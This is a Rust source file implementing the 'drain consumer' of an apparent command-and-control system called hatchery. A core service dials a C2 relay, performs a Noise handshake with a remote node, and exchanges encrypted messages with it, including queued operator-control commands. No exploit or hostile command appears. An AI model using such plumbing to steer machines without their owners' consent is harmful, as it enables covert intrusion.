hatchery_server/
drain_consumer.rs

1//! Core drain consumer (A2 / A3): core dials C2, drains one node stream, and answers on
2//! the same stream. C2 never dials core and never sees plaintext.
3//!
4//! Per stream: Noise_NK msg1 arrives as a DATA envelope, core answers msg2 as downlink
5//! DATA, then every envelope is Noise transport. Each plaintext goes to a
6//! [`CoreHandler`] together with the node id taken from the stream (never from the
7//! payload); the reply is encrypted back down. Every processed seq is ACKed, and a
8//! reconnect RESUMEs after the last ACK.
9
10use hatchery_c2_client::{DrainClient, DrainSession};
11use hatchery_c2_protocol::inner::{decode_inner, encode_inner, InnerKind};
12use hatchery_c2_protocol::nested::{HqRecipientSecret, NoiseResponder, NoiseTransport};
13use hatchery_c2_protocol::ChannelKind;
14use std::sync::Arc;
15use std::time::Duration;
16use tokio::sync::watch;
17
18/// Core logic for one decrypted inner message. Blocking work is fine: it runs on a
19/// blocking thread. Return `None` for messages that need no reply.
20pub type CoreHandler = Arc<dyn Fn(&str, ChannelKind, &[u8]) -> Option<Vec<u8>> + Send + Sync>;
21
22pub struct NodeStream {
23    pub node_id: String,
24    pub channel_id: u32,
25    pub kind: ChannelKind,
26}
27
28pub struct DrainConsumer {
29    client: DrainClient,
30    recipient: HqRecipientSecret,
31    stream: NodeStream,
32    handler: CoreHandler,
33    last_acked: u64,
34    transport: Option<NoiseTransport>,
35    /// Core-initiated messages (operator control). Sent once the node's handshake landed.
36    outbound: Option<tokio::sync::mpsc::Receiver<Vec<u8>>>,
37}
38
39impl DrainConsumer {
40    pub fn new(client: DrainClient, recipient: HqRecipientSecret, stream: NodeStream, handler: CoreHandler) -> Self {
41        Self { client, recipient, stream, handler, last_acked: 0, transport: None, outbound: None }
42    }
43
44    /// Attach a queue of core-initiated plaintexts (see `node_controller::OperatorLink`).
45    pub fn with_outbound(mut self, rx: tokio::sync::mpsc::Receiver<Vec<u8>>) -> Self {
46        self.outbound = Some(rx);
47        self
48    }
49
50    pub fn last_acked(&self) -> u64 {
51        self.last_acked
52    }
53
54    /// Drain until shutdown, reconnecting with RESUME after the last ACK.
55    pub async fn run(mut self, mut shutdown: watch::Receiver<bool>) {
56        let mut backoff = Duration::from_millis(50);
57        while !*shutdown.borrow() {
58            match self.session(&mut shutdown).await {
59                Ok(()) => backoff = Duration::from_millis(50),
60                Err(err) => tracing::debug!(error = %err, "drain session ended"),
61            }
62            if *shutdown.borrow() {
63                break;
64            }
65            tokio::select! {
66                _ = tokio::time::sleep(backoff) => {}
67                _ = shutdown.changed() => {}
68            }
69            backoff = (backoff * 2).min(Duration::from_secs(5));
70        }
71    }
72
73    async fn session(&mut self, shutdown: &mut watch::Receiver<bool>) -> Result<(), String> {
74        let mut s = self.client.connect().await.map_err(|e| e.to_string())?;
75        s.open(&self.stream.node_id, self.stream.channel_id, self.stream.kind).await.map_err(|e| e.to_string())?;
76        s.resume(self.last_acked).await.map_err(|e| e.to_string())?;
77        loop {
78            if *shutdown.borrow() {
79                return Ok(());
80            }
81            let ready = self.transport.is_some();
82            let env = tokio::select! {
83                env = s.recv_envelope(Duration::from_millis(250)) => env.map_err(|e| e.to_string())?,
84                Some(plain) = async {
85                    match self.outbound.as_mut() {
86                        Some(rx) if ready => rx.recv().await,
87                        _ => std::future::pending().await,
88                    }
89                } => {
90                    let ct = self.transport.as_mut().expect("transport").encrypt(&plain).map_err(|e| e.to_string())?;
91                    s.send_data(self.stream.channel_id, encode_inner(InnerKind::Transport, &ct))
92                        .await
93                        .map_err(|e| e.to_string())?;
94                    continue;
95                }
96                _ = shutdown.changed() => return Ok(()),
97            };
98            let Some(env) = env else { continue };
99            if env.node_id != self.stream.node_id {
100                continue;
101            }
102            let seq = env.frame.seq;
103            if seq != 0 && seq <= self.last_acked {
104                continue;
105            }
106            self.handle(&mut s, &env.frame.payload).await?;
107            if seq != 0 {
108                s.ack(seq).await.map_err(|e| e.to_string())?;
109                self.last_acked = seq;
110            }
111        }
112    }
113
114    async fn handle(&mut self, s: &mut DrainSession, inner: &[u8]) -> Result<(), String> {
115        match decode_inner(inner) {
116            Some((InnerKind::Handshake1, msg1)) => {
117                let responder = NoiseResponder::new(&self.recipient).map_err(|e| e.to_string())?;
118                match responder.complete(msg1) {
119                    Ok((msg2, transport)) => {
120                        self.transport = Some(transport);
121                        s.send_data(self.stream.channel_id, encode_inner(InnerKind::Handshake2, &msg2))
122                            .await
123                            .map_err(|e| e.to_string())?;
124                    }
125                    // Wrong recipient key or garbage: drop it, keep draining.
126                    Err(err) => tracing::debug!(error = %err, "handshake refused"),
127                }
128            }
129            Some((InnerKind::Transport, ct)) => {
130                let Some(transport) = self.transport.as_mut() else { return Ok(()) };
131                let Ok(plain) = transport.decrypt(ct) else {
132                    tracing::debug!("inner decrypt failed");
133                    return Ok(());
134                };
135                let handler = Arc::clone(&self.handler);
136                let node = self.stream.node_id.clone();
137                let kind = self.stream.kind;
138                let reply = tokio::task::spawn_blocking(move || handler(&node, kind, &plain))
139                    .await
140                    .map_err(|e| e.to_string())?;
141                if let Some(reply) = reply {
142                    let ct = self.transport.as_mut().expect("transport").encrypt(&reply).map_err(|e| e.to_string())?;
143                    s.send_data(self.stream.channel_id, encode_inner(InnerKind::Transport, &ct))
144                        .await
145                        .map_err(|e| e.to_string())?;
146                }
147            }
148            _ => {}
149        }
150        Ok(())
151    }
152}
hatchery_server/drain_consumer.rs

hatchery_server/
drain_consumer.rs
